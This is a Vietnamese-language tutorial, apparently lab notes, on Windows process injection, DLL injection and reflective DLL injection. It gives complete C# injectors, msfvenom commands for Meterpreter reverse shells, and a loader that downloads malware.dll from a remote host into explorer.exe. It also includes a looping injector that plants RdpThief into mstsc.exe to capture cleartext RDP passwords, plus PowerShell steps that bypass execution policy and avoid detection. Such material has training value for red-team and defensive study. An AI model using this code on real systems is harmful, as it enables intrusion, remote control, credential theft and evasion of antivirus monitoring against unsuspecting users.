Tìm hiểu về Process Injection
1. Tổng quan về Process Injection
Về tổng quan, chúng ta có thể bắt đầu process injection bằng cách mở một channel từ process này sang process khác thông qua hàm OpenProcess
- sau đó chúng ta sẽ sử đổi không gian bộ nhớ thông qua hàm VirtualAllocEx
và WriteProcessMemory
và cuối cùng thực thi bên trong process với CreateRemoteThread
Đầu tiên, để có thể can thiệp vào một process - chúng ta cần có quyền làm điều đó với tham số check dwDesiredAccess
Mở notepad
với user thông thường - tiến trình notepad.exe khởi chạy
Kiểm tra tiến hình với process_dump (C:\\Tools\SysinernalsSuite\procexp64.exe)
Kiểm tra khả năng control của tài khoản với process này
Như vậy ta có thể thấy răng, Notepad được bảo mật ở mức độ trung bình, đồng thời tài khoản có quyền đọc và ghi với process này
Mở notepad
với user admin
Khi này ta thấy mức độ bảo mật đã được nâng lên mức HIGH
và user không còn quyền truy cập vào process này nữa
Như vậy ta chỉ có thể injection vào process đang chạy ở cùng một mức độ toàn vẹn hoặc thấp hơn. explorer.exe luôn là một mục tiêu lý tưởng để injection. Đơn giản nó luôn tồn tại và không thoát ra cho đến khi người dùng đăng xuất
Quay lại function sau đây
bInheritHandle
xác định xem return có thể được kế thừa bởi một chương trình con hay không (BOOL)dwProcessId
chỉ định ID process cần injection
Sau khi OpenProcess() để xác định process, chúng ta sử dụng VirtualAllocEx để cấp phát bộ nhớ - mở rộng không gian để chứa shellcode - của chúng ta
Tiếp theo là WriteProcessMemory
cho phép chúng ta injection shellcode vào process.
và CreateRemoteThread
để run process
2. Process Injection trên C#
Nguyên liệu :
- Shellcode (Tạo với msfvenom)
sudo msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.49.138 lport=443 -b "x00" -f csharp
byte[] buf = new byte[773] {
Shell Code
};
explorer.exe
Process ID (5536)
- Code C# Visual Studio (có sẵn)
using System;
using System.Runtime.InteropServices;
namespace Inject
{
class Program
{
static void Main(string[] args)
{
}
}
}
- Gọi API Win32
Quay lại quá trình Process Injection ta cơ bản có 4 quá trình như sau
Bước 1 . Gọi OpenProcess để xác định process cần injection
Bước 2. Mở rộng không gian chứa shell code với VirtualAllocEx
Bước 3. Ghi shellcode vào process với WriteProcessMemory
Bước 4 . Sử dụng WriteProcessMemory
Bước 5. Thực thi process với CreateRemoteThread
Vậy để có thể thực hiện hành công quá trình process injection ta cần lần lượt gọi các API : OpenProcess , VirtualAllocEx , WriteProcessMemory , CreateRemoteThread sau đó thực thi chúng với các parameter thích hợp
Để gọi các API trên, ta tiến hành truy cập vào www.pinvoke.net, sau đó lần lượt search các API trên ta sẽ có được các kết quả
OpenProcess
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess,bool bInheritHandle,uint processId);
VirtualAllocEx
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
WriteProcessMemory
[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr hProcess,IntPtr lpBaseAddress,byte[]
lpBuffer,Int32 nSize,out IntPtr lpNumberOfBytesWritten);
CreateRemoteThread
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
Đoạn code sẽ trở nên như này
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
namespace ConsoleApp2
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess,bool bInheritHandle,uint processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr hProcess,IntPtr lpBaseAddress,byte[] lpBuffer,Int32 nSize,out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
static void Main(string[] args)
{
// Tham số sẽ ghi ở đây
}
}
}
Sử dụng Win32 API
- Đầu tiên là API OpenProcess . Tra cứu trên tài liệu của Microsoft ra có `
HANDLE OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);
Tham số dwDesiredAccess là quyền truy cập mà chúng ta muốn có được cho process . Giá trị của nó sẽ được kiểm tra dựa trên "security descriptor" (2 giá trị này phải tương thích với nhau). Ở đây ra set quyền PROCESS_ALL_ACCESS
. Quyền này sẽ cung cấp cho chúng ta truy cập đầy đủ vào explorer.exe
Biểu diễn dưới dạng thập lục phân ta có giá trị 0x001F0FFF
- Tham số bInheritHandle cho chúng ta quyết định xem , liệu một child process đã tạo, có thể kế thừa xử lý này hay không.
Trong trường hợp này, chúng ta không cần quan tâm nên đặt là false
- Tham số dwProcessId cho ID của process
explorer.exe
mà ta đã lấy được bên trên 5536
Tổng quan với API OpenProcess ta có
IntPtr hProcess = OpenProcess(0x001F0FFF, false, 5536)
- Tiếp theo, chúng ta tiến hành bước cấp phát bộ nhớ với VirtualAllocEx, tra cứu tài liệu API ta có các dùng như sau
LPVOID VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
-
Tham số hProcess chính là process xử lý explorer.exe mà ta đã lấy được từ trước
-
Tham số lpAddress là địa chỉ mong muốn mà ta muốn cấp phát cho remote process. Nếu API thành công,Buffer mới sẽ được cấp phát với một địa chỉ ban đầu như được cung cấp trong lpAddress . Tuy nhiên nếu giá tri này đã được cấp phát thì API sẽ không gọi thành công . Cho nên tốt nhất để giá trị null, API sẽ sử dụng một địa chỉ không sử dụng
lpAddress = IntPtr.Zero
- 3 tham số dwSize, flAllocationType, flProtect chỉ định : Kích thước phân bổ mong muốn , Kiểu cấp phát , Bảo vệ bố nhớ
Chúng tương ứng thành 0x1000 (4096 byte) , 0x3000 (MEM_COMMIT và MEM_RESERVE) , 0x40 (PAGE_EXECUTE_READWRITE)
Tổng quan với VirtualAllocEx ta có
IntPtr addr = VirtualAllocEx(hProcess,IntPtr.Zero, 0x1000, 0x3000,0x40)
- Tiếp đến ta tiến hành sao chép Shellcode vào memory space của explorer.exe thông qua WriteProcessMemory
BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
);
- Tham số hProcess như bên trên
- Tham số lpBaseAddress là địa chỉ bộ nhớ mới được cấp phát trong explorer.exe
- Tham số lpBuffer địa chỉ mảng byte chứa shellcode
- Tham số nSize là kích thước của shellcode sẽ được sao chép
- Tham số lpNumberOfBytesWritten để output ra bao nhiêu dữ liệu đã được sao chép
Kết hợp với shellcode đã tạo ở trên ta có code
byte[] buf = new byte[773] {
ShellCode
};
IntPtr outSize;
WriteProcessMemory(hProcess,addr,buf , buf.Length, out outSize);
Ở đây ta thấy một giá trị "mới" được thêm vào đó là out
. Để nó chuyển qua reference
thay vì là một Value
- Tiếp đến ta thực thi shellcode thông qua CreateRemoteThread
HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
Ở đây ta thấy có nhiều tham số, nhưng ta không nhất thiết phải gọi hết ,
-
Tham số hProcess như trên
-
Tham số lpThreadAttributes mô tả bảo mật mong muốn của thread mới (mặc định là NULL)
-
Tham số dwStackSize set kích thước Slack (Mặc định đặt là 0)
-
Tham số lpStartAddress chỉ định địa chỉ bắt đầu của thread, trong trường hợp của chúng ta, nó phải bắt đầu bằng địa chỉ buffer mà chúng ta đã cấp phát bên trên
-
Tham số lpParameter là một con trỏ tới các biến sẽ được chuyển đến hàm lpStartAddress . Vì Shellcode của chúng ta không có bất kỳ options nào, nên đặt một giá trị NULL tại đây
-
Hai tham số dwCreationFlags và lpThreadId ta bỏ qua
Như vậy là có lần lượt các giá trị sau : hProcess , IntPtr.Zero , 0 , addr , IntPtr.Zero , 0 ,IntPtr.Zero)
Code sẽ thành
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
Đoạn code cuối cùng chúng ta nhận được
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
namespace ConsoleApp2
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess,bool bInheritHandle,uint processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr hProcess,IntPtr lpBaseAddress,byte[] lpBuffer,Int32 nSize,out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
static void Main(string[] args)
{
IntPtr hProcess = OpenProcess(0x001F0FFF, false, 5536);
IntPtr addr = VirtualAllocEx(hProcess,IntPtr.Zero, 0x1000, 0x3000,0x40);
byte[] buf = new byte[773] {
ShellCode
};
IntPtr outSize;
WriteProcessMemory(hProcess,addr,buf , buf.Length, out outSize);
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
}
}
}
- Chúng ta tiến hành biên dịch code & thực thi (64bit)
Ở đây ta thấy PID của Malware đã trùng với PID của explorer
2. DLL Injection
Process Injection cho phép chúng ta đưa shellcode vào một process và thực thi nó. Điều này là khá hiệu quả, tuy nhiên với những codebases lớn hơn hoặc tồn tại DLL từ trước. Chúng ta có thể đưa toàn bộ DLL vào một prcocess thay vì chỉ shellcode đơn thuần
2.1 DLL Injection Theory
Khi một process cần sử dụng một API từ DLL , nó sẽ gọi tới LoadLibrary
API để load nó vảo virtual memory space. Trong trường hợp của chúng ta, chúng ta muốn process sẽ load DLL độc hại thông qua các API Win32.
Tuy nhiên , LoadLibrary
không thể được load trên một remote proces, vì vậy chúng ta phải thực hiện số một thủ thuật bắt buộc để buộc một process như explorer.exe
load DLL của chúng ta.
Kiểm tra hàm LoadLibrary
trên Microsoft ta có
HMODULE LoadLibraryA(
[in] LPCSTR lpLibFileName
);
Cách tiếp cận của chúng ta sẽ cố gắng đánh lừa process thực thi LoadLibrary
với đối số chính xác. Quay lại hàm CreateRemoteThread
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
Chúng ta quan tâm tới 2 tham số
-
lpStartAddress : Địa chỉ bắt đầu của hàm chạy trong thread mới
-
lpParameter: Địa chỉ bộ nhớ của buffer chứa tham số cho hàm đó (Shellcode là IntPtr.Zero do shell thì không có tham số)
Để cung cấp đối số chính xác (DLL độc hại), chúng ta phải cấp phát một "vùng" bên trong process , sau đó copy tên và đường dẫn của DLL vào đó . Địa chỉ của "vùng này" được cung cấp làm đối số lpParameter
Thông thường, các DLL chứa các API sẽ được gọi sau khi DLL được load. Để gọi các API này, các ứng dụng phải phân giải tên của của chúng thành memory addresses với hàm GetProcAddress
. Tuy nhiên hàm này lại không thể phân giải API với dạng remote process (dạng ta tiêm vào rồi thực thi). Cho nên ta phải tạo những file DLL độc hại non-standard
2.2 DLL Injection with C#
Nguyên liệu :
- Payload DLL
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.130 LPORT=4444 -f dll -o /var/www/html/malware.dll
Code cuối cùng chúng ta có
using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
namespace Inject
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
static void Main(string[] args)
{
String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
String dllName = dir + "\\malware.dll";
WebClient wc = new WebClient();
wc.DownloadFile("http://192.168.49.138:8083/malware.dll", dllName);
Process[] expProc = Process.GetProcessesByName("explorer");
int pid = expProc[0].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
}
}
}
Biên dịch và thực thi
cd /var/www/html
python3 -m http.server 8082
msfconsole ****
Kiểm tra DLL đã tiêm trên máy nạn nhân
- Mở
Process Explorer
> Chọnexplorer.exe
. Tiếp đến ở tabView
>Lower Pane View
> selectDLLs
Ta sẽ thấy DLL độc hại của chúng ta đã được load cùng explorer.exe
2.3. Stealing Clear Text Credentials from RDP
Thông thường, để đánh cắp thông tin đăng nhập RDP hay bất kỳ thông tin nào khác trên máy nạn nhân. Ta có thể nghĩ ngay tới Keyloggers. Tuy nhiên Keyloggers có một điểm yếu chí mạng, là nó ghi lại toàn bộ thao tác gõ của người dùng. Khiến khi nhận được nội dung file, ta không thể phân biệt được thông tin nào là thông tin cần dùng đẻ đăng nhập RDP.
Khi người dùng sử dụng Remote Desktop với mstsc.exe
, họ nhập thông tin xác thực dạng clear-text vào ứng dụng. Bằng cách chèn các DLL độc hại vào đây ("mstsc.exe
") ta có thể ghi lại thao tác gõ của người sử dụng . DLL độc hại mang tên RdpThief
Tác giả lợi dụng các API chịu trách nhiệm xử lý tên người dùng và mật khẩu lần lượt là
CredIsMarshaledCredentialW
,CryptProtectMemory
,SspiPrepareForCredRead
để sao chép username, password và domain name vào một tệp
RdpThief được viết dưới dạng DLL không được unmanaged và được đưa vào mstsc.exe
trước khi ngươi dùng nhập thông tin đăng nhập
Quy trở lại mã DLL injection phía trên
using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
namespace Inject
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
static void Main(string[] args)
{
String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
String dllName = dir + "\\malware.dll";
WebClient wc = new WebClient();
wc.DownloadFile("http://192.168.49.138:8083/malware.dll", dllName);
Process[] expProc = Process.GetProcessesByName("explorer");
int pid = expProc[0].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
}
}
}
Ta nhớ lại chức năng của đoạn code này là Injection malware.dll được tạo ra từ msfvenom cho pocess
explorer.exe
. Vậy mã sửa đổi ta sẽ thay thế với chức năng injection "RdpThief DLL" vào "mstsc" là xong
Ta tiến hành injection với code sau
static void Main(string[] args)
{
String dllName = "C:\\Tools\\RdpThief.dll";
Process[] mstscProc = Process.GetProcessesByName("mstsc");
int pid = mstscProc[0].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
}
Khác với mã trên, yêu cầu nạn nhân phải download DLL về rồi mới LoadlibaryA. Lần này ta tiến hành trỏ thẳng vào DLL độc hại
Tuy nhiên ta vẫn còn chút lấn cấn ở đây.
Người dùng phải chạy remote desktop trước, sau đó chúng ta phải chạy malware để injection vào process (vì nếu người dùng không chạy trước, thì làm gì có PID để mà injection)
Vì không biết khi nào người dùng khởi chạy mstsc.exe
để khởi chạy mã độc hại của chúng ta trước khi họ nhập thông tin vào (điều này khó xảy ra trong thực tế)
Để cải thiện điều này, chúng ta có thể sử dụng vòng lặp while
tự động phát hiện khi có một tiến trình mstsc.exe
được khởi tạo và sau đó injection trước khi người dùng nhập thông tin đăng nhập của mình vào. Chúng ta cũng sử dụng Sleep để tạm dừng 1s giữa mỗi lần lặp
Code hoàn chỉnh sẽ là
using System.Threading;
using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
namespace Inject {
class Program {
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
static void Main(string[] args) {
String dllName = "C:\\Tools\\RdpThief.dll";
while (true) {
Process[] mstscProc = Process.GetProcessesByName("mstsc");
if (mstscProc.Length > 0) {
for (int i = 0; i < mstscProc.Length; i++) {
int pid = mstscProc[i].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
}
}
Thread.Sleep(1000);
}
}
}
}
Sau khi chúng ta thực thi "mã độc", nó sẽ phát hiện bất cứ session nào đang chạy của mstsc
và đưa DLL độc hại vào ứng dụng trước khi người dùng nhập thông tin đăng nhập.
3. Reflective DLL Injection
3.1. Reflective DLL Injection
LoadLibrary thực hiện một loạt các hành động bao gồm cả download các DLL về máy và thiết lập các quyền bố nhớ. Nó đồng thời cũng register DLL để nó có thể được sử dụng từ các API như GetProcAddress và hiển thị với các công cụ như Process Explorer.Điều này khiến nó dễ dàng bị phát hiện bởi AV và Blue Team.
3.2. Reflective DLL Injection in Powershell
- Payload DLL
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.130 LPORT=4444 -f dll -o /var/www/html/malware.dll
python -m http.server 8082
- Các bước tiến hành
Mở Powershell với tùy chọn cho phép thực thi script
PowerShell -Exec Bypass
Download DLL Payload
$bytes = (New-Object System.Net.WebClient).DownloadData('http://192.168.49.138:8082/malware.dll')
Tìm process để injection (trong trường hợp này là explorer)
$procid = (Get-Process -Name explorer).Id
Download Invoke-ReflectivePEInjection
và thực thi
Import-Module C:\Tools\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid
Lỗi đỏ nhưng không sao, chạy bình thường
Kiểm tra DLL đã tiêm trên máy nạn nhân
Không phát hiện DLL malware.dll
trên Process Explorer
All rights reserved